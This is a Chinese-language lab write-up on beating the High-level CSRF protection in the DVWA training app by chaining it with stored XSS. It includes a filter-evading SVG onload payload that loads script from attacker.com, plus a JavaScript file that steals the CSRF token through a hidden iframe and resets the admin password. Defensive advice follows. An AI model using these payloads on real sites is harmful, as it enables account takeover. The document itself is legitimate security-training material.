DVWA 1.10 High等级的CSRF另类通关法
字数 1029 2025-08-18 11:38:37

DVWA 1.10 High等级CSRF攻击深入分析与实战

0x00 CSRF High等级安全机制分析

后端验证逻辑 (vulnerabilities/csrf/source/high.php):

if( isset( $_GET[ 'Change' ] ) ) {
    // 验证Token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // ...密码修改逻辑...
}

Token生成机制 (dvwa/includes/dvwaPage.inc.php):

  • 使用md5(uniqid())生成不可预测的Token
  • 每次请求都会重新生成Token
  • Token验证失败会跳转到index.php

0x01 攻击突破口:XSS-Stored漏洞

漏洞位置 (vulnerabilities/xss_s/source/high.php):

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

限制条件:

  1. name字段长度限制为100字符(varchar(100))
  2. 前端默认限制10字符(需绕过)
  3. 过滤了<script>标签(使用正则表达式)

0x02 准备工作:Tampermonkey脚本

脚本功能:

  • 解除前端10字符长度限制
  • 自动填充Message字段
// ==UserScript==
// @name       改掉DVWA烦人的长度限制
// @match      http://dvwa.lab/vulnerabilities/xss_s/
// ==/UserScript==
(function() {
    'use strict';
    var N = document.getElementsByName('txtName');
    var M = document.getElementsByName('mtxMessage');
    N[0].maxLength=100;
    N[0].size=60;
    M[0].value=1;
})();

0x03 攻击思路演进

初始方案(失败)

  1. 使用iframe加载CSRF页面
  2. 分7段注入代码获取Token并修改密码
  3. 问题:执行时序不可控,变量未定义错误频发

改进方案

  1. 使用ASCII编码绕过<script>过滤
    • script&#115;&#99;&#114;&#105;&#112;&#116;
  2. 分4段注入外部JS
  3. 使用setTimeout控制执行时序

最终Payload:

<svg/onload="setTimeout(function(){s='&#115;&#99;&#114;&#105;&#112;&#116;'},3000)">
<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">
<svg/onload="setTimeout(function(){j.src='http://attacker.com/x.js'},5000)">
<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">

0x04 恶意JS代码(x.js)

// 创建隐藏iframe加载CSRF页面
ifr = document.createElement('iframe');
ifr.src = "../csrf";
ifr.hidden = 1;
document.body.appendChild(ifr);

// 延迟获取Token并触发密码修改
setTimeout(function(){
    f = frames[0];
    t = f.document.getElementsByName('user_token')[0].value;
    i = document.createElement('img');
    i.src = '../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;
}, 3000);

0x05 攻击流程总结

  1. 管理员访问留言板(XSS-Stored)
  2. 加载恶意JS(x.js)
  3. JS创建隐藏iframe加载CSRF页面
  4. 获取iframe中的Token
  5. 通过img标签自动触发密码修改请求

0x06 防御建议

  1. 输入过滤

    • 对所有用户输入进行严格过滤
    • 使用htmlspecialchars()strip_tags()
  2. 输出编码

    • 对所有动态输出内容进行HTML编码
  3. 内容安全策略(CSP)

    • 限制外部资源加载
    • 防止XSS攻击
  4. 数据库设计

    • 合理设置字段长度限制
    • 敏感操作使用二次验证
  5. CSRF防护

    • 使用不可预测的Token
    • 重要操作使用验证码

附录:完整攻击步骤

  1. 安装并启用Tampermonkey脚本
  2. 在XSS-Stored页面提交分段Payload
  3. 在攻击者服务器部署x.js
  4. 等待管理员访问留言板
  5. 密码被自动修改为"admin"
DVWA 1.10 High等级CSRF攻击深入分析与实战 0x00 CSRF High等级安全机制分析 后端验证逻辑 ( vulnerabilities/csrf/source/high.php ): Token生成机制 ( dvwa/includes/dvwaPage.inc.php ): 使用 md5(uniqid()) 生成不可预测的Token 每次请求都会重新生成Token Token验证失败会跳转到index.php 0x01 攻击突破口:XSS-Stored漏洞 漏洞位置 ( vulnerabilities/xss_s/source/high.php ): 限制条件 : name 字段长度限制为100字符(varchar(100)) 前端默认限制10字符(需绕过) 过滤了 <script> 标签(使用正则表达式) 0x02 准备工作:Tampermonkey脚本 脚本功能 : 解除前端10字符长度限制 自动填充Message字段 0x03 攻击思路演进 初始方案(失败) 使用iframe加载CSRF页面 分7段注入代码获取Token并修改密码 问题 :执行时序不可控,变量未定义错误频发 改进方案 使用ASCII编码绕过 <script> 过滤 script → &#115;&#99;&#114;&#105;&#112;&#116; 分4段注入外部JS 使用setTimeout控制执行时序 最终Payload : 0x04 恶意JS代码(x.js) 0x05 攻击流程总结 管理员访问留言板(XSS-Stored) 加载恶意JS(x.js) JS创建隐藏iframe加载CSRF页面 获取iframe中的Token 通过img标签自动触发密码修改请求 0x06 防御建议 输入过滤 : 对所有用户输入进行严格过滤 使用 htmlspecialchars() 和 strip_tags() 输出编码 : 对所有动态输出内容进行HTML编码 内容安全策略(CSP) : 限制外部资源加载 防止XSS攻击 数据库设计 : 合理设置字段长度限制 敏感操作使用二次验证 CSRF防护 : 使用不可预测的Token 重要操作使用验证码 附录:完整攻击步骤 安装并启用Tampermonkey脚本 在XSS-Stored页面提交分段Payload 在攻击者服务器部署x.js 等待管理员访问留言板 密码被自动修改为"admin"